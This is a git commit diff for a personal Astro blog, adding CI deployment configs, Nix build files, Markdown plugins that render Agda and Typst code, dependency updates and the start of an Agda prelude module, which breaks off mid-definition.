dot color

This reverts commit 435ec21f6e.

.build.yml

@@ -0,0 +1,28 @@
+image: alpine/edge
+oauth: pages.sr.ht/PAGES:RW
+packages:
+  - hut
+  - npm
+  - rsync
+  - typst
+environment:
+  site: mzhang.io
+secrets:
+  - 0b26b413-7901-41c3-a4e2-3c752228ffcb
+sources:
+  - https://git.sr.ht/~mzhang/blog
+tasks:
+  - install: |
+      sudo npm install -g pnpm
+  - build: |
+      cd blog
+      pnpm install
+      pnpm run build
+      # hugo --buildDrafts --minify --baseURL https://mzhang.io
+  - upload: |
+      cd blog/dist
+      tar -cvz . > ../site.tar.gz
+      cd ..
+      hut pages publish -d $site site.tar.gz
+      # echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzBZ+QmM4EO3Fwc1ZcvWV2IY9VF04T0H9brorGj9Udp" >> ~/.ssh/known_hosts
+      # rsync -azvrP dist/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public

.dockerignore

@@ -0,0 +1 @@
+*

.editorconfig

@@ -6,4 +6,4 @@ insert_final_newline = true
 trim_trailing_whitespace = true
 charset = utf-8
 indent_style = space
-indent_size = 4
+indent_size = 2

.gitattributes

@@ -0,0 +1,2 @@
+public/katex/**/* linguist-vendored
+src/**/*.md  linguist-documentation=false

.gitignore

@@ -19,3 +19,16 @@ pnpm-debug.log*
 
 # macOS-specific files
 .DS_Store
+
+PragmataPro-Mono-Liga-Regular-Nerd-Font-Complete.woff2
+*.agdai
+_build
+.direnv
+
+
+/result
+.pnpm-store
+
+/public/generated
+
+.frontmatter

.prettierignore

@@ -0,0 +1,3 @@
+public/katex
+pnpm-lock.yaml
+src/styles/fork-awesome

.tokeignore

@@ -0,0 +1,4 @@
+public
+package-lock.json
+src/styles/fork-awesome
+pnpm-lock.yaml

.vscode/extensions.json

@@ -1,4 +1,7 @@
 {
-  "recommendations": ["astro-build.astro-vscode"],
+  "recommendations": [
+    "astro-build.astro-vscode",
+    "eliostruyf.vscode-front-matter"
+  ],
   "unwantedRecommendations": []
 }

.woodpecker.yml

@@ -1,19 +0,0 @@
-pipeline:
-  build:
-    image: node:18
-    commands:
-      - npm install
-      - npm run build
-
-  deploy:
-    image: alpine
-    commands:
-      - apk add rsync openssh
-      - echo "$${SSH_SECRET_KEY}" > SSH_SECRET_KEY
-      - chmod 600 SSH_SECRET_KEY
-      - mkdir -p ~/.ssh
-      - echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzBZ+QmM4EO3Fwc1ZcvWV2IY9VF04T0H9brorGj9Udp" >> ~/.ssh/known_hosts
-      - rsync -azvrP -e "ssh -i SSH_SECRET_KEY" dist/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public
-    secrets: [SSH_SECRET_KEY]
-    when:
-      branch: master

.woodpecker/deploy.yml

@@ -0,0 +1,27 @@
+steps:
+  build:
+    image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
+    environment:
+      - ASTRO_TELEMETRY_DISABLED=1
+    commands:
+      - mkdir /tmp
+      - rm -rf node_modules
+      - npm i -g pnpm@9.4.0
+      - npx pnpm install --frozen-lockfile
+      - npx pnpm run build
+    when:
+      - event: push
+
+  deploy:
+    image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
+    commands:
+      - mc alias set $AWS_DEFAULT_REGION $AWS_ENDPOINT_URL $AWS_ACCESS_KEY_ID $AWS_SECRET_ACCESS_KEY --api S3v4
+      - mc mirror --overwrite ./dist/ $AWS_DEFAULT_REGION/mzhang-io-website/
+    secrets:
+      - AWS_ACCESS_KEY_ID
+      - AWS_DEFAULT_REGION
+      - AWS_ENDPOINT_URL
+      - AWS_SECRET_ACCESS_KEY
+    when:
+      - branch: master
+        event: push

README.md

@@ -1,68 +1,5 @@
-# Astro Starter Kit: Blog
+# Michael's Blog
 
-```
+https://mzhang.io
-npm create astro@latest -- --template blog
-```
 
-[![Open in StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/withastro/astro/tree/latest/examples/blog)
+License: GPL-3.0 code / CC-BY-SA-4.0 contents
-[![Open with CodeSandbox](https://assets.codesandbox.io/github/button-edit-lime.svg)](https://codesandbox.io/p/sandbox/github/withastro/astro/tree/latest/examples/blog)
-[![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/withastro/astro?devcontainer_path=.devcontainer/blog/devcontainer.json)
-
-> 🧑‍🚀 **Seasoned astronaut?** Delete this file. Have fun!
-
-![blog](https://github.com/withastro/astro/assets/2244813/ff10799f-a816-4703-b967-c78997e8323d)
-
-Features:
-
-- ✅ Minimal styling (make it your own!)
-- ✅ 100/100 Lighthouse performance
-- ✅ SEO-friendly with canonical URLs and OpenGraph data
-- ✅ Sitemap support
-- ✅ RSS Feed support
-- ✅ Markdown & MDX support
-
-## 🚀 Project Structure
-
-Inside of your Astro project, you'll see the following folders and files:
-
-```
-├── public/
-├── src/
-│   ├── components/
-│   ├── content/
-│   ├── layouts/
-│   └── pages/
-├── astro.config.mjs
-├── README.md
-├── package.json
-└── tsconfig.json
-```
-
-Astro looks for `.astro` or `.md` files in the `src/pages/` directory. Each page is exposed as a route based on its file name.
-
-There's nothing special about `src/components/`, but that's where we like to put any Astro/React/Vue/Svelte/Preact components.
-
-The `src/content/` directory contains "collections" of related Markdown and MDX documents. Use `getCollection()` to retrieve posts from `src/content/blog/`, and type-check your frontmatter using an optional schema. See [Astro's Content Collections docs](https://docs.astro.build/en/guides/content-collections/) to learn more.
-
-Any static assets, like images, can be placed in the `public/` directory.
-
-## 🧞 Commands
-
-All commands are run from the root of the project, from a terminal:
-
-| Command                   | Action                                           |
-| :------------------------ | :----------------------------------------------- |
-| `npm install`             | Installs dependencies                            |
-| `npm run dev`             | Starts local dev server at `localhost:4321`      |
-| `npm run build`           | Build your production site to `./dist/`          |
-| `npm run preview`         | Preview your build locally, before deploying     |
-| `npm run astro ...`       | Run CLI commands like `astro add`, `astro check` |
-| `npm run astro -- --help` | Get help using the Astro CLI                     |
-
-## 👀 Want to learn more?
-
-Check out [our documentation](https://docs.astro.build) or jump into our [Discord server](https://astro.build/chat).
-
-## Credit
-
-This theme is based off of the lovely [Bear Blog](https://github.com/HermanMartinus/bearblog/).

astro.config.ts

@@ -1,15 +1,57 @@
 import { defineConfig } from "astro/config";
 import mdx from "@astrojs/mdx";
-
 import sitemap from "@astrojs/sitemap";
-import { remarkReadingTime } from "./plugin/remark-reading-time";
+import { rehypeAccessibleEmojis } from "rehype-accessible-emojis";
+import remarkReadingTime from "./plugin/remark-reading-time";
+import remarkEmoji from "remark-emoji";
+import remarkDescription from "astro-remark-description";
+import remarkAdmonitions, { mkdocsConfig } from "./plugin/remark-admonitions";
+import remarkMath from "remark-math";
+import rehypeKatex from "rehype-katex";
+import remarkTypst from "./plugin/remark-typst";
+import rehypeLinkHeadings from "@justfork/rehype-autolink-headings";
+import rehypeSlug from "rehype-slug";
+
+import markdoc from "@astrojs/markdoc";
+import remarkAgda from "./plugin/remark-agda";
+
+const outDir = "dist";
+const base = process.env.BASE ?? "/";
+const publicDir = "public";
 
 // https://astro.build/config
 export default defineConfig({
-  site: "https://example.com",
+  site: "https://mzhang.io",
-  integrations: [mdx(), sitemap()],
+  prefetch: true,
+  integrations: [mdx(), sitemap(), markdoc()],
+
+  outDir,
+  base,
+  trailingSlash: "always",
+  publicDir,
+
   markdown: {
-    syntaxHighlight: false,
+    syntaxHighlight: "shiki",
-    remarkPlugins: [remarkReadingTime],
+    shikiConfig: { theme: "css-variables" },
+    remarkPlugins: [
+      () => remarkAgda({ outDir, base, publicDir }),
+      remarkMath,
+      [remarkAdmonitions, mkdocsConfig],
+      remarkReadingTime,
+      remarkTypst,
+      remarkEmoji,
+      [
+        remarkDescription,
+        {
+          name: "excerpt",
+        },
+      ],
+    ],
+    rehypePlugins: [
+      [rehypeKatex, {}],
+      rehypeAccessibleEmojis,
+      rehypeSlug,
+      [rehypeLinkHeadings, { behavior: "wrap" }],
+    ],
   },
 });

biome.json

@@ -0,0 +1,17 @@
+{
+  "$schema": "https://biomejs.dev/schemas/1.7.3/schema.json",
+  "organizeImports": {
+    "enabled": true
+  },
+  "formatter": {
+    "enabled": true,
+    "indentStyle": "space",
+    "indentWidth": 2
+  },
+  "linter": {
+    "enabled": true,
+    "rules": {
+      "recommended": true
+    }
+  }
+}

blog.agda-lib

@@ -0,0 +1,2 @@
+include: src/content/posts src
+depend: standard-library cubical

flake.lock

@@ -0,0 +1,116 @@
+{
+  "nodes": {
+    "agda": {
+      "inputs": {
+        "flake-parts": "flake-parts",
+        "nixpkgs": [
+          "nixpkgs"
+        ]
+      },
+      "locked": {
+        "lastModified": 1729253305,
+        "narHash": "sha256-S7/C8VGMrXeGhFeYXx1cVBjZlNVB5L1o/SkW0hFm0Jc=",
+        "owner": "agda",
+        "repo": "agda",
+        "rev": "3425ed5543d2e6f98094b834fedcdec3a2fb67a6",
+        "type": "github"
+      },
+      "original": {
+        "owner": "agda",
+        "repo": "agda",
+        "type": "github"
+      }
+    },
+    "flake-parts": {
+      "inputs": {
+        "nixpkgs-lib": "nixpkgs-lib"
+      },
+      "locked": {
+        "lastModified": 1701473968,
+        "narHash": "sha256-YcVE5emp1qQ8ieHUnxt1wCZCC3ZfAS+SRRWZ2TMda7E=",
+        "owner": "hercules-ci",
+        "repo": "flake-parts",
+        "rev": "34fed993f1674c8d06d58b37ce1e0fe5eebcb9f5",
+        "type": "github"
+      },
+      "original": {
+        "owner": "hercules-ci",
+        "repo": "flake-parts",
+        "type": "github"
+      }
+    },
+    "flake-utils": {
+      "inputs": {
+        "systems": "systems"
+      },
+      "locked": {
+        "lastModified": 1726560853,
+        "narHash": "sha256-X6rJYSESBVr3hBoH0WbKE5KvhPU5bloyZ2L4K60/fPQ=",
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "rev": "c1dfcf08411b08f6b8615f7d8971a2bfa81d5e8a",
+        "type": "github"
+      },
+      "original": {
+        "id": "flake-utils",
+        "type": "indirect"
+      }
+    },
+    "nixpkgs": {
+      "locked": {
+        "lastModified": 1729265718,
+        "narHash": "sha256-4HQI+6LsO3kpWTYuVGIzhJs1cetFcwT7quWCk/6rqeo=",
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "ccc0c2126893dd20963580b6478d1a10a4512185",
+        "type": "github"
+      },
+      "original": {
+        "id": "nixpkgs",
+        "type": "indirect"
+      }
+    },
+    "nixpkgs-lib": {
+      "locked": {
+        "dir": "lib",
+        "lastModified": 1701253981,
+        "narHash": "sha256-ztaDIyZ7HrTAfEEUt9AtTDNoCYxUdSd6NrRHaYOIxtk=",
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "e92039b55bcd58469325ded85d4f58dd5a4eaf58",
+        "type": "github"
+      },
+      "original": {
+        "dir": "lib",
+        "owner": "NixOS",
+        "ref": "nixos-unstable",
+        "repo": "nixpkgs",
+        "type": "github"
+      }
+    },
+    "root": {
+      "inputs": {
+        "agda": "agda",
+        "flake-utils": "flake-utils",
+        "nixpkgs": "nixpkgs"
+      }
+    },
+    "systems": {
+      "locked": {
+        "lastModified": 1681028828,
+        "narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
+        "owner": "nix-systems",
+        "repo": "default",
+        "rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
+        "type": "github"
+      },
+      "original": {
+        "owner": "nix-systems",
+        "repo": "default",
+        "type": "github"
+      }
+    }
+  },
+  "root": "root",
+  "version": 7
+}

flake.nix

@@ -0,0 +1,31 @@
+{
+  inputs.agda.url = "github:agda/agda";
+  inputs.agda.inputs.nixpkgs.follows = "nixpkgs";
+  outputs = { self, nixpkgs, flake-utils, agda, }:
+    flake-utils.lib.eachDefaultSystem (system:
+      let
+        pkgs = import nixpkgs { inherit system; overlays = [ agda.overlays.default ]; };
+        agda-pkg = agda.packages.x86_64-linux.default;
+        flakePkgs = rec {
+          agda-bin = pkgs.callPackage ./nix/agda-bin.nix { agda-pkg = pkgs.haskellPackages.Agda.bin; };
+          docker-builder =
+            pkgs.callPackage ./nix/docker-builder.nix { inherit agda-bin; };
+        };
+      in {
+        packages = flake-utils.lib.flattenTree flakePkgs;
+        devShell = pkgs.mkShell {
+          ASTRO_TELEMETRY_DISABLED = 1;
+
+          packages = with pkgs;
+            with flakePkgs; [
+              bun
+              nixfmt-rfc-style
+              nix-tree
+              shellcheck
+
+              nodejs_20
+              corepack
+            ];
+        };
+      });
+}

frontmatter.json

@@ -0,0 +1,47 @@
+{
+  "$schema": "https://frontmatter.codes/frontmatter.schema.json",
+  "frontMatter.framework.id": "astro",
+  "frontMatter.preview.host": "http://localhost:4321",
+  "frontMatter.content.publicFolder": "public",
+  "frontMatter.content.pageFolders": [
+    {
+      "title": "posts",
+      "path": "[[workspace]]/src/content/posts"
+    }
+  ],
+  "frontMatter.taxonomy.contentTypes": [
+    {
+      "name": "default",
+      "pageBundle": false,
+      "previewPath": "",
+      "filePrefix": null,
+      "clearEmpty": true,
+      "fields": [
+        {
+          "title": "Title",
+          "name": "title",
+          "type": "string",
+          "single": true
+        },
+        {
+          "title": "Description",
+          "name": "description",
+          "type": "string"
+        },
+        {
+          "title": "Publishing date",
+          "name": "date",
+          "type": "datetime",
+          "default": "{{now}}",
+          "isPublishDate": true
+        },
+        {
+          "title": "Content preview",
+          "name": "heroImage",
+          "type": "image",
+          "isPreviewImage": true
+        }
+      ]
+    }
+  ]
+}

nix/agda-bin.nix

@@ -0,0 +1,23 @@
+{ agda-pkg, runCommand, writeShellScriptBin, writeTextFile, agdaPackages }:
+
+let
+  libraryFile =
+    with agdaPackages;
+    writeTextFile {
+      name = "agda-libraries";
+      text = ''
+        ${agdaPackages.cubical.src}/cubical.agda-lib
+        ${agdaPackages.standard-library.src}/standard-library.agda-lib
+      '';
+    };
+
+  # Add an extra layer of indirection here to prevent all of GHC from being pulled in
+  wtf = runCommand "agda-bin" { } ''
+    cp ${agda-pkg}/bin/agda $out
+  '';
+in
+
+writeShellScriptBin "agda" ''
+  set -euo pipefail
+  exec ${wtf} --library-file=${libraryFile} $@
+''

nix/docker-builder.nix

@@ -0,0 +1,47 @@
+{ dockerTools
+, agda-bin
+, bash
+, corepack
+, coreutils
+, gitMinimal
+, gnused
+, minio-client
+, nodejs_20
+, openssh
+, pkgsLinux
+, rsync
+}:
+
+dockerTools.buildLayeredImage {
+  name = "blog-docker-builder";
+
+  contents = with dockerTools; [
+    agda-bin
+    bash
+    caCertificates
+    corepack
+    coreutils
+    fakeNss
+    gitMinimal
+    gnused
+    minio-client
+    nodejs_20
+    openssh
+    rsync
+    usrBinEnv
+  ];
+
+  # fakeRootCommands = ''
+  #   #!${pkgsLinux.runtimeShell}
+  #   ${pkgsLinux.dockerTools.shadowSetup}
+  #   groupadd -r builder
+  #   useradd -r -g builder builder
+  # '';
+}
+
+#   copyToRoot = with dockerTools; buildEnv {
+#     name = "blog-docker-builder-image-root";
+#     paths = [
+#     ];
+#   };
+

package.json

@@ -2,27 +2,56 @@
   "name": "blog",
   "type": "module",
   "version": "0.0.1",
+  "packageManager": "pnpm@9.4.0+sha256.b6fd0bfda555e7e584ad7e56b30c68b01d5a04f9ee93989f4b93ca8473c49c74",
   "scripts": {
     "dev": "astro dev",
     "start": "astro dev",
     "build": "astro build",
     "preview": "astro preview",
-    "astro": "astro"
+    "astro": "astro",
+    "format": "prettier -w ."
   },
   "dependencies": {
-    "@astrojs/mdx": "^1.0.0",
+    "@astrojs/markdoc": "^0.11.1",
+    "@astrojs/markdown-remark": "^5.1.1",
+    "@astrojs/mdx": "^1.1.5",
     "@astrojs/rss": "^3.0.0",
-    "@astrojs/sitemap": "^3.0.0",
+    "@astrojs/sitemap": "^3.1.6",
-    "astro": "^3.0.3",
+    "@justfork/rehype-autolink-headings": "^5.1.1",
+    "astro": "^3.6.5",
+    "astro-imagetools": "^0.9.0",
+    "astro-remark-description": "^1.1.2",
+    "classnames": "^2.5.1",
     "fork-awesome": "^1.2.0",
+    "katex": "^0.16.10",
     "lodash-es": "^4.17.21",
     "mdast-util-to-string": "^4.0.0",
-    "reading-time": "^1.5.0"
+    "nanoid": "^4.0.2",
+    "reading-time": "^1.5.0",
+    "rehype-accessible-emojis": "^0.3.2",
+    "rehype-katex": "^6.0.3",
+    "remark-emoji": "^4.0.1",
+    "remark-github-beta-blockquote-admonitions": "^2.2.1",
+    "remark-math": "^5.1.1",
+    "remark-parse": "^10.0.2",
+    "sanitize-html": "^2.13.1",
+    "sharp": "^0.33.4"
   },
   "devDependencies": {
-    "@types/lodash-es": "^4.17.9",
+    "@biomejs/biome": "^1.8.2",
-    "prettier": "^3.0.3",
+    "@types/lodash-es": "^4.17.12",
-    "prettier-plugin-astro": "^0.12.0",
+    "@types/sanitize-html": "^2.13.0",
-    "sass": "^1.66.1"
+    "date-fns": "^2.30.0",
+    "hast-util-from-html": "^2.0.1",
+    "hast-util-to-html": "^9.0.1",
+    "mdast": "^3.0.0",
+    "mdast-util-from-markdown": "^2.0.1",
+    "prettier": "^3.3.2",
+    "prettier-plugin-astro": "^0.12.3",
+    "rehype-slug": "^6.0.0",
+    "sass": "^1.77.6",
+    "shiki": "^0.14.7",
+    "unified": "^11.0.5",
+    "unist-util-visit": "^5.0.0"
   }
 }

plugin/remark-admonitions.ts

@@ -0,0 +1,155 @@
+// https://github.com/myl7/remark-github-beta-blockquote-admonitions
+// License: Apache-2.0
+
+import { visit } from "unist-util-visit";
+import type { Data } from "unist";
+import type { BuildVisitor } from "unist-util-visit";
+import type { Blockquote, Paragraph, Text } from "mdast";
+import type { RemarkPlugin } from "@astrojs/markdown-remark";
+import classNames from "classnames";
+
+const remarkAdmonitions: RemarkPlugin =
+  (providedConfig?: Partial<Config>) => (tree) => {
+    visit(tree, handleNode({ ...defaultConfig, ...providedConfig }));
+  };
+
+export default remarkAdmonitions;
+
+const handleNode =
+  (config: Config): BuildVisitor =>
+  (node) => {
+    // Filter required elems
+    if (node.type !== "blockquote") return;
+    const blockquote = node as Blockquote;
+
+    if (blockquote.children[0]?.type !== "paragraph") return;
+
+    const paragraph = blockquote.children[0];
+    if (paragraph.children[0]?.type !== "text") return;
+
+    const text = paragraph.children[0];
+
+    // A link break after the title is explicitly required by GitHub
+    const titleEnd = text.value.indexOf("\n");
+    if (titleEnd < 0) return;
+
+    const textBody = text.value.substring(titleEnd + 1);
+    let title = text.value.substring(0, titleEnd);
+    // Handle whitespaces after the title.
+    // Whitespace characters are defined by GFM
+    const m = /[ \t\v\f\r]+$/.exec(title);
+    if (m && !config.titleKeepTrailingWhitespaces) {
+      title = title.substring(0, title.length - m[0].length);
+    }
+    if (!nameFilter(config.titleFilter)(title)) return;
+    const { displayTitle, checkedTitle } = config.titleTextMap(title);
+
+    // Update the text body
+    text.value = textBody;
+
+    // Insert the title element and add classes for the title
+    const paragraphTitleText: Text = { type: "text", value: displayTitle };
+    const paragraphTitle: Paragraph = {
+      type: "paragraph",
+      children: [paragraphTitleText],
+      data: config.dataMaps.title({
+        hProperties: {
+          className: classNameMap(config.classNameMaps.title)(checkedTitle),
+        },
+      }),
+    };
+    blockquote.children.unshift(paragraphTitle);
+
+    // Add classes for the block
+    blockquote.data = config.dataMaps.block({
+      ...blockquote.data,
+      hProperties: {
+        className: classNameMap(config.classNameMaps.block)(checkedTitle),
+      },
+      // The blockquote should be rendered as a div, which is explicitly required by GitHub
+      hName: "div",
+    });
+  };
+
+const TITLE_PATTERN =
+  /\[\!admonition: (attention|caution|danger|error|hint|important|note|tip|warning)\]/i;
+
+export const mkdocsConfig: Partial<Config> = {
+  classNameMaps: {
+    block: (title) => [
+      "admonition",
+      ...(title.startsWith("admonition: ")
+        ? title.substring("admonition: ".length)
+        : title
+      ).split(" "),
+    ],
+    title: classNames("admonition-title"),
+  },
+
+  titleFilter: (title) => Boolean(title.match(TITLE_PATTERN)),
+
+  titleTextMap: (title: string) => {
+    const match = title.match(TITLE_PATTERN);
+    const displayTitle = match?.[1] ?? "";
+    const checkedTitle = displayTitle;
+    return { displayTitle, checkedTitle };
+  },
+};
+
+export interface Config {
+  classNameMaps: {
+    block: ClassNameMap;
+    title: ClassNameMap;
+  };
+  titleFilter: NameFilter;
+  titleTextMap: (title: string) => {
+    displayTitle: string;
+    checkedTitle: string;
+  };
+  dataMaps: {
+    block: (data: Data) => Data;
+    title: (data: Data) => Data;
+  };
+  titleKeepTrailingWhitespaces: boolean;
+  legacyTitle: boolean;
+}
+
+export const defaultConfig: Config = {
+  classNameMaps: {
+    block: "admonition",
+    title: "admonition-title",
+  },
+
+  titleFilter: ["[!NOTE]", "[!IMPORTANT]", "[!WARNING]"],
+
+  titleTextMap: (title) => ({
+    displayTitle: title.substring(2, title.length - 1),
+    checkedTitle: title.substring(2, title.length - 1),
+  }),
+  dataMaps: {
+    block: (data) => data,
+    title: (data) => data,
+  },
+  titleKeepTrailingWhitespaces: false,
+  legacyTitle: false,
+};
+
+type ClassNames = string | string[];
+type ClassNameMap = ClassNames | ((title: string) => ClassNames);
+
+export function classNameMap(gen: ClassNameMap) {
+  return (title: string) => {
+    const classNames = typeof gen === "function" ? gen(title) : gen;
+    return typeof classNames === "object" ? classNames.join(" ") : classNames;
+  };
+}
+
+type NameFilter = ((title: string) => boolean) | string[];
+
+export function nameFilter(filter: NameFilter) {
+  return (title: string) => {
+    return typeof filter === "function"
+      ? filter(title)
+      : filter.includes(title);
+  };
+}

plugin/remark-agda.ts

@@ -0,0 +1,178 @@
+import type { RootContent } from "hast";
+import { fromMarkdown } from "mdast-util-from-markdown";
+import { fromHtml } from "hast-util-from-html";
+import { toHtml } from "hast-util-to-html";
+
+import { spawnSync } from "node:child_process";
+import {
+  mkdirSync,
+  mkdtempSync,
+  readFileSync,
+  existsSync,
+  readdirSync,
+  copyFileSync,
+  writeFileSync,
+} from "node:fs";
+import { tmpdir } from "node:os";
+import { join, parse, resolve, basename } from "node:path";
+import { visit } from "unist-util-visit";
+import type { RemarkPlugin } from "@astrojs/markdown-remark";
+
+interface Options {
+  base: string;
+  outDir: string;
+  publicDir: string;
+}
+
+const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
+  const destDir = join(publicDir, "generated", "agda");
+  mkdirSync(destDir, { recursive: true });
+
+  return (tree, { history }) => {
+    const path: string = history[history.length - 1]!;
+    if (!(path.endsWith(".lagda.md") || path.endsWith(".agda"))) return;
+
+    console.log("AGDA:processing path", path);
+
+    const tempDir = mkdtempSync(join(tmpdir(), "agdaRender."));
+    const agdaOutDir = join(tempDir, "output");
+    mkdirSync(agdaOutDir, { recursive: true });
+
+    const childOutput = spawnSync(
+      "agda",
+      [
+        "--html",
+        `--html-dir=${agdaOutDir}`,
+        "--highlight-occurrences",
+        "--html-highlight=code",
+        path,
+      ],
+      {},
+    );
+
+    // Locate output file
+    const directory = readdirSync(agdaOutDir);
+    const outputFilename = directory.find((name) => name.endsWith(".md"));
+
+    if (childOutput.status !== 0 || outputFilename === undefined) {
+      throw new Error(
+        `Agda output:
+
+        Stdout:
+        ${childOutput.stdout}
+
+        Stderr:
+        ${childOutput.stderr}
+        `,
+        {
+          cause: childOutput.error,
+        },
+      );
+    }
+
+    const outputFile = join(agdaOutDir, outputFilename);
+
+    // // TODO: Handle child output
+    // console.error("--AGDA OUTPUT--");
+    // console.error(childOutput);
+    // console.error(childOutput.stdout?.toString());
+    // console.error(childOutput.stderr?.toString());
+    // console.error("--AGDA OUTPUT--");
+
+    const referencedFiles = new Set();
+    for (const file of readdirSync(agdaOutDir)) {
+      referencedFiles.add(file);
+
+      const fullPath = join(agdaOutDir, file);
+      const fullDestPath = join(destDir, file);
+
+      if (file.endsWith(".html")) {
+        const src = readFileSync(fullPath);
+        writeFileSync(
+          fullDestPath,
+          `
+          <!DOCTYPE html>
+          <html>
+          <head>
+          <link rel="stylesheet" href="${base}generated/agda/Agda.css" />
+          </head>
+          <body>
+          <pre class="Agda">
+          ${src}
+          </pre>
+          </body>
+          </html>
+        `,
+        );
+      } else {
+        copyFileSync(fullPath, fullDestPath);
+      }
+    }
+
+    const htmlname = basename(resolve(outputFile)).replace(
+      /(\.lagda)?\.md/,
+      ".html",
+    );
+
+    const doc = readFileSync(outputFile);
+
+    // This is the post-processed markdown with HTML code blocks replacing the Agda code blocks
+    const tree2 = fromMarkdown(doc);
+
+    const collectedCodeBlocks: RootContent[] = [];
+    visit(tree2, "html", (node) => {
+      const html = fromHtml(node.value, { fragment: true });
+
+      const firstChild: RootContent = html.children[0]!;
+
+      visit(html, "element", (node) => {
+        if (node.tagName !== "a") return;
+
+        if (node.properties.href) {
+          // Trim off end
+          const [href, hash, ...rest] = node.properties.href.split("#");
+          if (rest.length > 0) throw new Error("come look at this");
+
+          if (href === htmlname) {
+            node.properties.href = `#${hash}`;
+          }
+
+          if (referencedFiles.has(href)) {
+            node.properties.href = `${base}generated/agda/${href}${hash ? `#${hash}` : ""}`;
+            node.properties.target = "_blank";
+          }
+        }
+      });
+
+      if (!firstChild?.properties?.className?.includes("Agda")) return;
+
+      const stringContents = toHtml(firstChild);
+      collectedCodeBlocks.push({
+        contents: stringContents,
+      });
+    });
+
+    let idx = 0;
+    try {
+      visit(tree, "code", (node) => {
+        if (!(node.lang === null || node.lang === "agda")) return;
+
+        if (idx > collectedCodeBlocks.length) {
+          throw new Error("failed");
+        }
+
+        node.type = "html";
+        node.value = collectedCodeBlocks[idx].contents;
+        idx += 1;
+      });
+    } catch (e) {
+      // TODO: Figure out a way to handle this correctly
+      // Possibly by diffing?
+      console.log(
+        "Mismatch in number of args. Perhaps there was an empty block?",
+      );
+    }
+  };
+};
+
+export default remarkAgda;

plugin/remark-reading-time.ts

@@ -1,12 +1,16 @@
 import getReadingTime from "reading-time";
 import { toString } from "mdast-util-to-string";
+import type { RemarkPlugin } from "@astrojs/markdown-remark";
 
-export function remarkReadingTime() {
+const remarkReadingTime: RemarkPlugin = () => {
-  return function (tree, { data }) {
+  return (tree, { data }) => {
     const textOnPage = toString(tree);
     const readingTime = getReadingTime(textOnPage);
+
     // readingTime.text will give us minutes read as a friendly string,
     // i.e. "3 min read"
     data.astro.frontmatter.minutesRead = readingTime.text;
   };
-}
+};
+
+export default remarkReadingTime;

plugin/remark-typst.ts

@@ -0,0 +1,42 @@
+import type { RemarkPlugin } from "@astrojs/markdown-remark";
+import { mkdtempSync, readFileSync, writeFileSync } from "node:fs";
+import { visit } from "unist-util-visit";
+import { join } from "node:path";
+import { spawnSync } from "node:child_process";
+import { tmpdir } from "node:os";
+
+const remarkTypst: RemarkPlugin = () => {
+  const tmp = mkdtempSync(join(tmpdir(), "typst"));
+  let ctr = 0;
+
+  return (tree) => {
+    visit(
+      tree,
+      (node) => node.type === "code" && node.lang === "typst",
+      (node, index, parent) => {
+        const doc = join(tmp, `${ctr}.typ`);
+        const docOut = join(tmp, `${ctr}.svg`);
+        ctr += 1;
+
+        writeFileSync(doc, node.value);
+        const result = spawnSync(
+          "typst",
+          [
+            "compile",
+            "--format",
+            "svg",
+            doc,
+          ],
+          {},
+        );
+        console.log("OUTPUT", result.stderr.toString());
+
+        const svgOut = readFileSync(docOut);
+        node.type = "html";
+        node.value = svgOut.toString();
+      },
+    );
+  };
+};
+
+export default remarkTypst;

public/.well-known/atproto-did

@@ -0,0 +1 @@
+did:plc:zbg2asfcpyughqspwjjgyc2d

public/robots.txt

@@ -0,0 +1,3 @@
+User-agent: *
+Allow: /
+Disallow: /drafts

scripts/upload-builder.sh

@@ -0,0 +1,13 @@
+#!/usr/bin/env bash
+
+set -euo pipefail
+
+nix build .#docker-builder
+IMAGE_NAME=$(docker load -q -i ./result | cut -d':' -f2,3 | xargs)
+REMOTE_IMAGE_NAME="git.mzhang.io/michael/$IMAGE_NAME"
+docker image tag "$IMAGE_NAME" "$REMOTE_IMAGE_NAME"
+
+sed -i -E "s~(.*image: ).*blog-docker-builder:?.*~\1$REMOTE_IMAGE_NAME~" .woodpecker.yml
+echo "Created $REMOTE_IMAGE_NAME"
+
+docker push -q "$REMOTE_IMAGE_NAME"

src/Prelude.agda

@@ -0,0 +1,95 @@
+{-# OPTIONS --cubical-compatible #-}
+
+module Prelude where
+
+open import Agda.Primitive
+
+private
+  variable
+    l : Level
+
+data ⊥ : Set where
+
+rec-⊥ : {A : Set} → ⊥ → A
+rec-⊥ ()
+
+¬_ : Set → Set
+¬ A = A → ⊥
+
+data ⊤ : Set where
+  tt : ⊤
+
+data Bool : Set where
+  true : Bool
+  false : Bool
+
+id : {l : Level} {A : Set l} → A → A
+id x = x
+
+module Nat where
+  data ℕ : Set where
+    zero : ℕ
+    suc : ℕ → ℕ
+  {-# BUILTIN NATURAL ℕ #-}
+
+  infixl 6 _+_
+  _+_ : ℕ → ℕ → ℕ
+  zero + n = n
+  suc m + n = suc (m + n)
+open Nat public
+
+infix 4 _≡_
+data _≡_ {l} {A : Set l} : (a b : A) → Set l where
+  instance refl : {x : A} → x ≡ x
+{-# BUILTIN EQUALITY _≡_ #-}
+
+ap : {A B : Set l} → (f : A → B) → {x y : A} → x ≡ y → f x ≡ f y
+ap f refl = refl
+
+sym : {A : Set l} {x y : A} → x ≡ y → y ≡ x
+sym refl = refl
+
+trans : {A : Set l} {x y z : A} → x ≡ y → y ≡ z → x ≡ z
+trans refl refl = refl
+
+infixl 10 _∙_
+_∙_ = trans
+
+transport : {l₁ l₂ : Level} {A : Set l₁} {x y : A}
+  → (P : A → Set l₂)
+  → (p : x ≡ y)
+  → P x → P y
